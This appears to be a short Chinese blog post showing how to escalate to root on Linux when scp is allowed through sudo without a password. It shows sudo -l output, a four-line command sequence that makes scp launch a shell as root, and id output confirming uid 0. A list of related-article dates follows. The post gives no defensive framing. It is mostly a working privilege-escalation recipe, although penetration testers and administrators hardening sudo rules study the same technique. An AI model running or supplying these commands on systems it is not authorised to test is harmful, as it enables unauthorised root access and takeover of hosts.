当scp命令有免密sudo的权限时,可以用来进行提权到其他账号

1、确认scp有sudo免密权限

test@test:~$ sudo -l
sudo -l
Matching Defaults entries for test on test:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hacksudo may run the following commands on test:
    (root) NOPASSWD: /usr/bin/scp

2、输入下列命令,即可完成提权

$ TF=$(mktemp)
$ echo 'sh 0<&2 1>&2' > $TF
$ chmod +x "$TF"
$ sudo scp -S $TF x y:

id
uid=0(root) gid=0(root) groups=0(root)

 

相关文章:

  • 2021-10-23
  • 2022-12-23
  • 2022-03-08
  • 2021-05-17
  • 2021-09-20
  • 2021-10-30
  • 2021-09-10
  • 2021-07-10
猜你喜欢
  • 2021-12-04
  • 2022-01-10
  • 2022-12-23
  • 2021-09-25
  • 2021-07-17
  • 2021-10-17
  • 2021-06-27
相关资源
相似解决方案